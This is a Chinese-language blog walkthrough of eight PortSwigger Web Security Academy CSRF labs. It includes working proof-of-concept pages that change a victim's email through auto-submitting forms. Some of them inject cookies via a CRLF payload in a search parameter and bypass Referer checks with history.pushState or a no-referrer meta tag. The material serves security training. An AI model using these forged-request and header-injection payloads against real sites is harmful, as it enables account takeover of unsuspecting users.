Portswigger web security academy:Cross-site request forgery (CSRF)

1 - CSRF vulnerability with no defenses

  • 题目描述

    • 邮箱修改功能点存在CSRF漏洞
  • 要求

    • 通过CSRF修改受害者邮箱
  • 解题过程

    • 登录后在My account中修改邮箱,查看请求包

      • POST /my-account/change-email HTTP/1.1
        Host: ac7b1fe91eda0a2a80f8377900db00eb.web-security-academy.net
        Connection: close
        Content-Length: 21
        Origin: https://ac7b1fe91eda0a2a80f8377900db00eb.web-security-academy.net
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Referer: https://ac7b1fe91eda0a2a80f8377900db00eb.web-security-academy.net/my-account
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
        Cookie: session=gqDQJWQmvM9QFV69EzP1FJZmeTlsDRSd email=test%40test.com
      • 是直接发送目标邮箱,且没有token校验

    • 构造exp

      • <html>
        <body>
        <script>history.pushState('', '', '/')</script>
        <form action="https://ac7b1fe91eda0a2a80f8377900db00eb.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="test@test.com" />
        <input type="submit" value="Submit request" />
        </form>
        <script>
        document.forms[0].submit();
        </script>
        </body>
        </html>

2 -CSRF where token validation depends on request method

  • 题目描述

    • 邮箱修改功能点可以CSRF
    • 尝试阻止CSRF,但只针对了部分请求方法
  • 要求

    • 通过CSRF修改受害者邮箱
  • 解题过程

    • 在材料中,提示说有的token校验只针对了部分请求方法

      • 通过尝试,发现GET方法可以在不提交token的情况下修改邮箱
    • 构造exp

      • <html>
        <!-- CSRF PoC - generated by Burp Suite Professional -->
        <body>
        <script>history.pushState('', '', '/')</script>
        <form action="https://ac381f531fe7dee7809a046e0031004f.web-security-academy.net/my-account/change-email">
        <input type="hidden" name="email" value="test@test.com" />
        <input type="submit" value="Submit request" />
        </form>
        <script>
        document.forms[0].submit();
        </script>
        </body>
        </html>

3 - CSRF where token validation depends on token being present

  • 题目描述

    • 邮箱修改功能点可以CSRF
  • 要求

    • 通过CSRF修改受害者邮箱
  • 解题过程

    • 材料中提示部分应用会忽略确实token的情况

    • 构造exp

      • <html>
        <!-- CSRF PoC - generated by Burp Suite Professional -->
        <body>
        <script>history.pushState('', '', '/')</script>
        <form action="https://ac871f3c1f32032d801a270000120093.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="test@test.com" />
        <input type="submit" value="Submit request" />
        </form>
        <script>
        document.forms[0].submit();
        </script>
        </body>
        </html>

4 - CSRF where token is not tied to user session

  • 题目描述

    • 邮箱修改功能点存在CSRF
    • 该功能点尝试使用token来防止CSRF,但并没有和网站的session处理系统集成起来(token和session没有绑定)
  • 要求

    • 通过CSRF修改受害者邮箱
  • 解题过程

    • 登录任意账号,进入邮箱修改功能

    • 使用burp进行拦截,生成CSRF Poc并Drop请求

    • <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body>
      <script>history.pushState('', '', '/')</script>
      <form action="https://ac631ff71f9c182d802e2ec000f30022.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test@test.com" />
      <input type="hidden" name="csrf" value="6iu1DC1q5KNsK1ZCDZtfi2WhQ7nM2zJT" />
      <input type="submit" value="Submit request" />
      </form>
      <script>
      document.forms[0].submit();
      </script>
      </body>
      </html>
    • 上传到exploit server

5 - CSRF where token is tied to non-session cookie

  • 题目描述

    • 邮箱修改功能点可以CSRF
    • 改功能点尝试使用token来防止CSRF,但并没有完全和网站的session处理系统集成(使用了单另的cookie,而非session)
  • 要求

    • 通过CSRF修改受害者邮箱
  • 解题过程

    • 登录任意账号,记录csrfKey和token

    • 然后需要考虑一下如何设置cookie

      • 由于是跨域cookie,所以不能使用js来完成
      • 寻找有无可利用漏洞
        • 除了修改邮箱,登录,就只有搜索功能,抓包分析

        • 发现搜索的关键词直接被放进了返回包的header中,通过测试,发现存在CRLF漏洞
    • 构造exp(包含设置cookie的请求语句)

      • <html>
        <!-- CSRF PoC - generated by Burp Suite Professional -->
        <body>
        <img/src="//ac141f341f7d0df7803f44ac001a00bc.web-security-academy.net/?search=asd;%0d%0aSet-Cookie:%20csrfKey=6L8paENDEqrAZQgvssSN5tHU96umwdLQ">
        <script>history.pushState('', '', '/')</script>
        <form action="https://ac141f341f7d0df7803f44ac001a00bc.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="asdasd8@qq.com" />
        <input type="hidden" name="csrf" value="nNEQkj7NnVQjCOUtVKXgfjSHSUg3iY8m" />
        <input type="submit" value="Submit request" />
        </form>
        <script>
        document.cookie="csrfKey=6L8paENDEqrAZQgvssSN5tHU96umwdLQ";
        document.forms[0].submit();
        </script>
        </body>
        </html>

6 - CSRF where token is duplicated in cookie

  • 题目描述

    • 邮箱修改功能点可以CSRF
    • 该功能点尝试使用双提交来阻止CSRF(cookie中的token和表单中的token一致)
  • 要求

    • 通过CSRF修改受害者邮箱
  • 解题过程

    • 思路

      • 寻找设置cookie的漏洞功能点
      • 根据修改邮箱的请求包,构造cookie和表单token相同的请求表单
    • 本题的cookie漏洞功能点与上一题一直

    • 构造exp

      • 发现使用与上一题相同的方式(img发送请求会出错,经过查看,是img还未响应的时候,表单就提交了,所以对exp进行修改,使用onerror属性进行表单提交(img标签如果请求数据出错或者请求数据非图片格式,则为error,之后看官方solution也是这么做的)

      • <html>
        <!-- CSRF PoC - generated by Burp Suite Professional -->
        <body>
        <script>history.pushState('', '', '/')</script>
        <form action="https://acd01f381f9c35ec80f216ef00ba00c5.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="asdd@test.com" />
        <input type="hidden" name="csrf" value="yLpgPdEKU2X5w8lkdLDTUpNZnCzsXyaa" />
        <input type="submit" value="Submit request" />
        </form>
        <img/src="//acd01f381f9c35ec80f216ef00ba00c5.web-security-academy.net/?search=asd;%0d%0aSet-Cookie:%20csrf=yLpgPdEKU2X5w8lkdLDTUpNZnCzsXyaa" onerror="document.forms[0].submit()" />
        </body>
        </html>

7 - CSRF where Referer validation depends on header being present

  • 题目描述

    • 邮箱修改功能点可以CSRF
    • 尝试组织跨域的站点,但并不安全
  • 要求

    • 通过CSRF修改受害者的邮箱
  • 解题过程

    • 构造空Referer的exp(第一行meta标签使发出的任何请求(未指定Referer)的Referer都为空)

      • <meta name="referrer" content="never">
        <html>
        <!-- CSRF PoC - generated by Burp Suite Professional -->
        <body>
        <script>history.pushState('', '', '/')</script>
        <form action="https://acd01f381f9c35ec80f216ef00ba00c5.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="test@test.com" />
        <input type="submit" value="Submit request" />
        </form>
        <script>
        document.forms[0].submit();
        </script>
        </body>
        </html>

8 - CSRF with broken Referer validation

  • 题目描述

    • 邮箱修改功能点存在CSRF
    • 尝试检测并组织跨域请求,但是检测机制可以被绕过
  • 要求

    • 修改受害者邮箱
  • 解题过程

    • 通过测试,发现检测方式为:是否包含目标域名

    • 构造exp

      • 我在exploit server里发现有file参数,可以修改路径,但是经过测试,referer只带了domain没有带path,于是去看了solution,要使用historypushState()函数

        • history.pushState(state, title[, url])

          • window.location="#xxx"一样,都会创建并激活一个新的历史记录,但history.pushState()可以是任意域名
          • 例子
            • history.pushState('', '', '/')表示我们是从(即Referer)当前url的/根目录来的
      • 那么只需要使用history.pushState('', '', '/?ac0a1f981fc51a6c805e247e000000f0.web-security-academy.net'),即可使Referer为exploit server url/?ac0a1f981fc51a6c805e247e000000f0.web-security-academy.net

        • 使用Chrome测试没有通过,但是Firefox可以
      • <html>
        <!-- CSRF PoC - generated by Burp Suite Professional -->
        <body>
        <script>history.pushState('', '', '/?ac0a1f981fc51a6c805e247e000000f0.web-security-academy.net')</script>
        <form action="https://ac0a1f981fc51a6c805e247e000000f0.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="test@test.com" />
        <input type="submit" value="Submit request" />
        </form>
        <script>
        document.forms[0].submit();
        </script>
        </body>
        </html>

Portswigger web security academy:Cross-site request forgery (CSRF)的更多相关文章

  1. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

  2. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  3. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  4. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  5. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  6. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  7. Portswigger web security academy:OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

  8. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  9. Portswigger web security academy:Server-side template injection(SSTI)

    Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...

随机推荐

  1. ubantu16与windows下——redis的安装与使用

      (1) 打开ubantu16,使用如下命令下载安装包 wget http://download.redis.io/releases/redis-2.8.3.tar.gz (2)解压缩命令: tar ...

  2. R绘图(3): 散点图添加文本注释

    这里以火山图为例进行说明,在转录组分析中,火山图是很常见的一类图,纵轴表示p_value,横轴表示log (fold change).单一的散点图绘制很简单,火山图比较难处理的地方就是一些基因的注释, ...

  3. 基于CefSharp开发浏览器(九)浏览器历史记录弹窗面板

    一.前言 前两篇文章写的是关于浏览器收藏夹的内容,因为收藏夹的内容不会太多,故采用json格式的文本文件作为收藏夹的存储方式. 关于浏览器历史记录,我个人每天大概会打开百来次网页甚至更多,时间越长历史 ...

  4. DDD实战课--学习笔记

    目录 学好了DDD,你能做什么? 领域驱动设计:微服务设计为什么要选择DDD? 领域.子域.核心域.通用域和支撑域:傻傻分不清? 限界上下文:定义领域边界的利器 实体和值对象:从领域模型的基础单元看系 ...

  5. Asa's Chess Problem

    一.题目 给定一张 \(n\times n\) 的矩阵,每个点上面有黑棋或者是白棋,给定 \(\frac{n\times n}{2}\) 对可以交换的位置,每对位置一定在同一行 \(/\) 同一列.\ ...

  6. css整理之-----------技巧、黑魔法

    css 看起来比较简单,但是要想做的好也不是那么容易,我们在平时开发中,主要用css 来美化我们的html结构,所有我觉得css 还是挺重要的,这里记录整理一些关于css 的技巧以及容易忘记的知识点. ...

  7. 【Makefile】2-Makefile的介绍及原理

    目录 前言 概念 Chapter 2:介绍 2.1 makefile的规则 2.3 make 是如何工作的 ** 2.5 让 make 自动推导 2.8 Makefile 里面有什么 2.9 Make ...

  8. 微信小程序--简约风博客小程序(基于云开发 - 全开源)

    微信小程序--简约风博客小程序(基于云开发 - 全开源) 项目启动纯属突发奇想,想看看博客小程序,例如wehalo博客小程序,但是感觉自建平台还要浪费自己的服务器算力,还没有访问量,省省吧. 本着白嫖 ...

  9. 201871010203-陈鹏昱 实验三 结对项目—《D{0-1}KP 实例数据集算法实验平台》项目报告

    项目 内容 课程班级博客链接 班级博客 这个作业要求链接 作业要求 我的课程学习目标 学习软件工程的理论和知识,掌握软件开发流程,增强实践能力 这个作业在哪些方面帮助我实现学习目标 体验软件项目开发中 ...

  10. 【转载】C# get 与set的一些说明

    转载 在面向对象编程(OOP)中,是不允许外界直接对类的成员变量直接访问的,既然不能访问,那定义这些成员变量还有什么意义呢?所以C#中就要用set和get方法来访问私有成员变量,它们相当于外界访问对象 ...